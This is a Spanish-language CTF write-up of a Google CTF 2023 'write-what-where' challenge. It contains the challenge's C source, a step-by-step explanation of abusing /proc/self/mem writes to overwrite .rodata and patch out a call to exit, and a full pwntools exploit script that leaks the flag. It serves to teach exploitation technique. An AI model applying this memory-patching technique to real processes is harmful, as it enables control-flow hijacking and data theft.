Buenos dias, en este post vamos a explicar una técnica de explotación denominada “write-what-where”. Para ello vamos hacer uso de un binario compilado con todas las protecciones de un reto del CTF de Google del año 2023. La idea clave es que el binario regala una primitiva de escritura arbitraria en memoria, pero con datos “restrictivos”: lo único que puedes escribir son bytes que salen del buffer flag[] (el contenido de flag.txt). El reto consiste en convertir esa primitiva en una exfiltración (que el proceso acabe imprimiendo la flag).
Código fuente
#define _LARGEFILE64_SOURCE
#define VERSION 2
#include <stdio.h>
#include <netdb.h>
#include <netinet/in.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <fcntl.h>
#include <sys/sendfile.h>
#include <sys/mman.h>
#ifndef VERSION
#error "Version undefined!"
#endif
char maps[4096];
char flag[128];
int main()
{
int mapsfd = open("/proc/self/maps",O_RDONLY);
read(mapsfd,maps,sizeof(maps));
close(mapsfd);
int flagfd = open("./flag.txt",O_RDONLY);
if(flagfd == -1)
{
puts("flag.txt not found");
return 1;
}
if(read(flagfd,flag,128) <= 0)
{
puts("flag.txt empty");
return 1;
}
close(flagfd);
int sockfd = dup2(1,1337);
int devnullfd = open("/dev/null",O_RDWR);
dup2(devnullfd,0);
dup2(devnullfd,1);
dup2(devnullfd,2);
close(devnullfd);
//Timeout control
alarm(60);
dprintf(sockfd,"%s\n\n",maps);
while (1)
{
char buffer[64] = { 0 };
int ret = read(sockfd,buffer,sizeof(buffer));
unsigned long address;
unsigned length;
if(sscanf(buffer,"0x%llx %u",&address,&length) != 2)
break;
if(length >= 128)
{
break;
}
int memfd = open("/proc/self/mem",O_RDWR);
lseek64(memfd,address,SEEK_SET);
write(memfd,flag,length);
close(memfd);
}
asm goto(""::::fake_edge);
exit(0);
fake_edge:;
dprintf(sockfd,"Somehow you got here??\n");
abort();
}
Flujo de ejecución del binario
El programa hace, en orden:

- Lee
/proc/self/mapsen el buffer globalmaps[4096]y luego lo imprime por pantalla. Esto elimina el efecto práctico de la aleatorización del layout de direcciones (ASLR, Address Space Layout Randomization), porque te dice exactamente dónde está mapeado el binario y el resto de regiones. - Lee
./flag.txten el buffer globalflag[128].flages global (en sección.bss), así que lo que no se rellena conread()queda a cero (por inicialización implícita). Es importante porque te garantiza terminación con byte nulo (\x00) si copias más allá del final del texto real de la flag. - Duplica el descriptor de salida estándar (file descriptor 1) a un descriptor cualquiera 1337:
int sockfd = dup2(1,1337);Luego redirigestdin,stdout,stderra/dev/null. Resultado: el binario ya no habla por stdout/stderr, pero conserva un canal funcional en el file descriptor 1337, que usa tanto paradprintf()como pararead(). - Entra en un bucle que espera lineas con el formato: 0x<address> <length>. Si el parseo falla o si
length >= 128, sale del bucle. - Si la entrada es válida, abre
/proc/self/mem, hacelseek64(memfd, address, SEEK_SET)y ejecuta:write(memfd, flag, length);. Esto significa: escritura arbitraria a una dirección elegida por el usuario, pero los bytes escritos son siempreflag[0..length-1]. Eso es “write-what-where” del reto: Se elige dónde, el binario elige qué (la flag).
Primitiva: «arbitrary write» pero con datos restringidos
Normalmente, una primitiva de “escritura arbitraria” (arbitrary write) permite escribir cualquier dato a cualquier dirección. Aquí solo se controla:
- Dirección destino:
address - Longitud:
length(0–127)
Pero el contenido es siempre el prefijo de flag:
- Si
length = 1, escribes el byteflag[0] - Si
length = 2, escribesflag[0], flag[1] - Si
length = 5, escribesflag[0..4], etc.
Dado que la flag empieza por CTF{...}, los primeros bytes son:
flag[0] = 'C' = 0x43flag[1] = 'T' = 0x54flag[2] = 'F' = 0x46flag[3] = '{' = 0x7b
Esto importa porque el exploit va a construir patches usando casi exclusivamente 'C' y 'T' (0x43 y 0x54), que son precisamente lo más fácil de obtener con length=1 y length=2.
Por qué imprimir la flag «directamente» no es trivial
El binario no tiene una función “print_flag()”. Lo que sí hace es:
- Imprimir el banner y
/proc/self/maps. - Quedarse en el bucle de escrituras.
- Al terminar el bucle:
exit(0).
Existe un bloque de código al final:

Ese fake_edge es un label que no es alcanzable de forma normal tal como podemos observar en el desensamblador o en el código fuente (el asm goto está vacío). Pero sí existe en el binario y contiene un dprintf() al canal (fd 1337). Si se consigue que el flujo de ejecución termine ahí, lekearemos la flag.
El reto pasa a ser:
- Conseguir que
fake_edgese ejecute (o que se ejecute algúndprintfcontrolable). - Conseguir que lo que imprime sea la flag y terminar con la exfiltración exitosa.
Como se obtiene la base del binario (PIE)
En binarios con PIE (Position Independent Executable), el ejecutable no esta fijo en memoria: se carga en una base aleatoria. Por eso el exploit hace:
p.readuntil(b"fluff\n")
base = int(p.readuntil(b"-")[:-1], 16)
print(hex(base))
p.readuntil(b"\n\n")
Justo después del banner, el binario imprime maps (contenido de /proc/self/maps). La primera línea suele empezar así (debido a la aleatoriedad):
55c1f3c1d000-55c1f3c1f000 r–p … /path/chall
El exploit lee hasta el guion - y parsea el inicio como hexadecimal. Esa es la base del primer mapping del binario. A partir de ahí, cualquier offset estático (por ejemplo, 0x1533 para el parche en .text o 0x20D5 para una cadena en .rodata) se convierte en dirección real como base + offset.
Ejemplo conceptual: si base = 0x55c1f3c1d000, entonces:
base+0x1533 = 0x55c1f3c1e533base+0x20D5 = 0x55c1f3c1f0d5
Por qué el write a /proc/self/mem permite parchear el binario
Normalmente, .text (código) y .rodata (constantes) están mapeados como no-escribibles (r-xp o r--p). Sin embargo, el reto escribe a través de /proc/self/mem abierto en modo lectura-escritura (O_RDWR). En Linux, este mecanismo permite modificar memoria del propio proceso de forma privilegiada a nivel kernel, y en este caso se usa precisamente para tener una primitiva que rompe las protecciones típicas (por ejemplo W^X, Write xor Execute, política de no tener páginas simultáneamente escribibles y ejecutables).
Estrategia de explotación
El exploit hace dos cosas principales:
A) Sobrescribir una cadena en .rodata con la flag

Primero, el exploit escribe 120 bytes del buffer flag[] en una dirección del binario:
p.readuntil(b"fluff\n")
base = int(p.readuntil(b"-")[:-1], 16)
print(hex(base))
p.readuntil(b"\n\n")
target = base + 0x20D5
p.send((hex(target).encode() + b" 120").ljust(0x40, b"\0"))
Esto “copia” la flag (más ceros al final) dentro de una región del ejecutable. Esta dirección (base+0x20D5) se obtiene buscando en el binario una cadena que luego vaya a imprimirse como objetivo de la explotación (por ejemplo, "Somehow you got here??\n") y tomando su offset relativo dentro del binario (PIE). En la siguiente imagen se puede observar que se va a escribir 120 bytes en la dirección objetivo:

Por qué 120 bytes:
- Está por debajo de 128 (límite del reto).
- Suele ser más que suficiente para incluir toda la flag y además varios
\x00de relleno (porqueflag[128]global queda con ceros tras elread()), garantizando terminador nulo para impresión como string C.
Se puede observar como se ha tenido éxito en la escritura arbitraria del contenido de la flag dentro de la sección .rodata:

La idea práctica: Si más tarde el binario hace dprintf(sockfd, <puntero_a_esa_cadena>), en vez de imprimir el texto original, imprimirá la flag.
B) Evitar exit(0) y forzar que se ejecute fake_edge
Cuando el bucle termina, el flujo normal del programa llama a exit(0). Tenemos que hacer que en la ejecución del exploit no salga, sino que continúe con el código que hay a continuación (donde está fake_edge).
En vez de construir un salto (jmp) directo —difícil porque no se controla bytes arbitrarios—, el exploit parchea la instrucción que llama a exit, sustituyéndola por instrucciones “inocuas” de 1–2 bytes que puede sintetizar usando solo 'C' y 'T'.
El parche se hace con estas escrituras:
target = base + 0x1533
p.send((hex(target).encode() + b" 2").ljust(0x40, b"\0"))
target = base + 0x1535
p.send((hex(target).encode() + b" 1").ljust(0x40, b"\0"))
target = base + 0x1536
p.send((hex(target).encode() + b" 2").ljust(0x40, b"\0"))
Esto construye 5 bytes consecutivos en base+0x1533..0x1537:
- En
0x1536..0x1537:43 54(ASCII “CT”) - En
0x1533..0x1534:43 54 - En
0x1535:43
Resultado total: 43 54 43 43 54. Antes de la escritura tenemos el codigo de main en .text de la siguiente forma:

En x86-64 (AMD64), 0x41 0x54 es push r12. En la explotación del binario usamos 0x43 0x54, que también puede decodificar como un push r12 (prefijos REX y opcode de push combinan de forma que se convierte en push a un registro extendido). Y 43 43 54 se interpreta como dos prefijos seguidos y luego push, que sigue siendo un push r12. En la práctica, esta secuencia se comporta como dos pushes, consumiendo 16 bytes de stack, lo cual además suele mantener alineación de pila a múltiplos de 16 bytes (requisito típico antes de llamadas según el ABI System V, Application Binary Interface de Linux x86-64).
La consecuencia: donde antes había un call exit@plt (5 bytes típicos), ahora hay “instrucciones que no terminan el proceso”. Al terminar esas instrucciones, la ejecución cae al siguiente bloque que el compilador haya colocado (y ahí es donde está el fake_edge o el tramo que llega a él, según layout del binario).
Finalmente hemos bypasseado la llamada a exit(0):

C) Salir del bucle para activar el final de main
El exploit, después de aplicar los parches, envía un payload inválido para que sscanf() falle y el bucle while(1) se rompa, de tal manera que se ejecute las nuevas instrucciones escritas con la primitiva arbitraria de escritura, y leamos la flag, realizando una operación de exflitración exitosa:
p.send(b"a".ljust(0x40, b"\0"))
p.read()
p.interactive()
En el código fuente:
if(sscanf(buffer,"0x%llx %u",&address,&length) != 2)
break;
Con esto, el programa abandona el bucle (while (1)) y ejecuta la parte final del main. Pero como ya no ejecuta el exit(0) real (está parcheado), termina ejecutando el bloque que imprime la cadena que ya se sobrescribió con la flag.

Resumen de la ejecución del exploit:
- El programa tiene un bloque
fake_edgeque hacedprintf(sockfd, "Somehow you got here??\n");. - Convertimos esa cadena en
CTF{...}escribiendo en.rodata. - Después evitamos que
mainllame aexit(0)(parcheando la instruccióncall exit), para que el flujo caiga en el bloquefake_edge. - Se sale del bucle con una entrada inválida (
"a"). - El binario imprime la flag.
Exploit final:
from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
gdbscript = '''
set pagination off
b *main+471
# c
continue
'''
#p = gdb.debug('./chall', gdbscript=gdbscript, stdin=PTY, stdout=PTY, stderr=PTY)
p = process('./chall', stdin=PTY, stdout=PTY, stderr=PTY)
p.readuntil(b"fluff\n")
base = int(p.readuntil(b"-")[:-1], 16)
print(hex(base))
p.readuntil(b"\n\n")
target = base + 0x20D5
p.send((hex(target).encode() + b" 120").ljust(0x40, b"\0"))
target = base + 0x1533
p.send((hex(target).encode() + b" 2").ljust(0x40, b"\0"))
target = base + 0x1535
p.send((hex(target).encode() + b" 1").ljust(0x40, b"\0"))
target = base + 0x1536
p.send((hex(target).encode() + b" 2").ljust(0x40, b"\0"))
p.send(b"a".ljust(0x40, b"\0"))
p.read()
p.interactive()
Muchas gracias, un saludo!.
